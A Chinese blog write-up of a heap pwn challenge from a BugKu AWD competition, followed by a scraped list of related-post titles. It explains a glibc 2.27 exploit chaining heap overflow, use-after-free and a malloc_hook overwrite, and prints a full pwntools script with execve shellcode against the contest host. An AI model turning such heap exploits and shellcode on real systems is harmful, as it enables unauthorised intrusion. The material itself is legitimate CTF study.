记一次bugku awd的pwn解
今天晚上6点30闲得没事,随便逛逛的时候看到了bugku awd有战队开了房间,想着没什么事就报名玩了玩,不过pwn题还是很有意思的。
连上去发现是个堆题。。。再一看加固时间20分钟。。。。(瞬间无语住
直接在网上找题,结果发现网上都是2.23下的,这里笔者拿到的是2.27下的(再次瞬间无语住
没办法只好自己写exp了。拿到pwn附件就是一顿瞎分析,结果发现了upadte有堆溢出
再随便翻了翻发现还有一个uaf。
只不过没有show函数而已。
再看了一下保护
脑子里瞬间想好了攻击思路,申请到malloc_hook,改malloc_hook为shellcode的地址就行
申请到malloc_hook其实可以借助unstortedbin来,因为malloc_hook和unstortedbin差一个字节。
首先申请0x10 0x410 0x60 0x30 0x30
接着释放0x60,通过0x10改0x410为0x491,也就是将0x410和0x60包住。实现overlapping
释放这0x491再申请0x410这样的话0x60的fd就是unstortedbin了
改最低的一个字节到malloc_hook
0x30的作用就体现出来了,将0x30释放掉,edit改0x30的fd为0x601020
将shellcode放入这里,然后将malloc_hook改为这个地址,最后malloc的时候就会触发shellcode。
这个时候最玄的事情来了,本地打不通,远程可以打通。。。。。。
笔者没想太多,直接上脚本刷分去了(因为发现其它队伍都不会XD
这里笔者只贴一个普通打远程的脚本
from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('192-168-1-50.pvp986.bugku.cn', 9999)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = 'Your choice :'def add(size, data):r.sendlineafter(menu, '1')r.sendlineafter('Size: ', str(size))r.sendafter('Data: ', data)def delete(index):r.sendlineafter(menu, '2')r.sendlineafter('Index: ', str(index))def edit(index, size, data):r.sendlineafter(menu, '3')r.sendlineafter('Index: ', str(index))r.sendlineafter('Size: ', str(size))r.sendafter('Data: ', data)add(0x10, 'bbb') #0
add(0x410, 'aaa') #1
add(0x60, 'aaaa') #2
add(0x30, 'aaaa') #3
add(0x30, 'aaaa') #4delete(2)p1 = p64(0) * 3 + p64(0x491)
edit(0, len(p1), p1)delete(1)add(0x410, 'aaaa')p2 = b'a' * 0x410 + p64(0) + p64(0x71) + b'\x30'
edit(1, len(p2), p2)add(0x60, 'aaaa')delete(4)p3 = p64(0x601020)edit(4, len(p3), p3)add(0x30, 'aaaa')
#shellcode = "\x48\x31\xc0\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xff\x48\xc7\xc7\x48\x10\x60\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"shellcode = asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')add(0x30, shellcode)add(0x60, p64(0x601020))r.recvuntil('Wellcome To the Heap World\n')
r.send('1'.ljust(8, '\x00'))r.send(str(0xf0).ljust(8, '\x00'))r.interactive()
记一次bugku awd的pwn解相关推荐
- BugKu -- AWD --S1排位赛-1
写在前面 这两天把s1赛季能做的题都做出来了,然后在本地搭建了一下环境复现一下,这里再次感谢BUGKU里面的Anyyy师傅,直接让我白嫖环境,师傅也是上个赛季的前六名,实力强悍,让我学到很多,有兴趣的 ...
- 记第一次线下AWD感受及复现
前言: 之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下. 第一次参赛线下AWD感受 由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本.框架.工具等 ...
- 【ArcGIS风暴】ArcGIS标注和注记的区别及用法案例详解
ArcGIS中地图文字信息有两种表达方式:标注(Label)和注记(Annotation).本文详细说明ArcGIS中标注和注记的区别及用法. 文章目录 一.标注的用法 1. 标注简介 2. 标注工具 ...
- 2021祥云杯 CTF pwn解 wp
前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...
- oracle ebs应收贷记,【转】Oracle EBS 详解EBS接口开发之应收款处理
(一)应收款常用标准表简介 1.1常用标准表 如下表中列出了与应收款处理相关的表和说明: 表名 说明 其他信息 AR_BATCHES_ALL AR收款批表 AR_BATCH_SOURCES_ALL A ...
- iOS 边学边记 直播SRT、UDT协议详解
什么是SRT协议? 概述 SRT协议是基于UDT的传输协议,保留了UDT的核心思想和机制,抗丢包能力强,适用于复杂的网络.在LiveVideoStack线上分享中,新浪音视频架构师 施维对SRT协议的 ...
- [bugku]-秋名山车神详解
解题 每一次刷新都不一样 post传参value 脚本1 import requests import re url = 'http://114.67.175.224:10053/' s = requ ...
- 择天记手游的服务器维护世界,择天记手游怎么野外修炼 择天记手游野外修炼功能详解...
导 读 提起野外打怪,玩家们一般认为其收益都远低于做任务打副本,但是在<择天记手游>中,只要玩家开启修炼状态后,去野外打怪可获得10倍打怪经验,速度比之做任务打副本那是毫不逊色. 野外修炼 ...
- Bugku MISC come_game 详解
Bugku MISC come_game 一.题目 二.思路 三.复现 四.总结 我会不定时更新bugku的题目,和大家共同学习,披荆斩棘.日拱一卒,你的付出,终将使你强大.希望大家喜欢,多多点赞收藏 ...
最新文章
- list存储引用类型注意的问题
- 语义分割--DeconvNet--Learning Deconvolution Network for Semantic Segmentation
- numpy数组ndarray如何对每个元素取绝对值,然后生成原数组的绝对值数组
- UVA 11627 Slalom(二分)
- python3基本数据类型
- 可耻的客户端,可怕的征兆,必须趁早消灭它
- STS插件_ springsource-tool-suite插件各个历史版本
- 【深度学习】empty() received an invalid combination of arguments - got (tuple, dtype=NoneType, device=None
- turtle填充随机颜色同心圆
- 工具的使用 —— sublime
- 【转载】著名黑客雷蒙评价几种编程语言
- JS对List集合进行排序
- matlab中的semilogy,MATLAB 函数Semilogy()
- 华为服务器串口修改密码,huawei恢复Console口密码
- 基础实验——与V831串口通讯
- Pyton 中eval 函数的用法总结
- android listview仿ios 3dTouch效果
- 微积分中,区间再现公式的证明
- 二进制部署K8S集群
- 微积分小课堂:微分(从宏观变化了解微观趋势)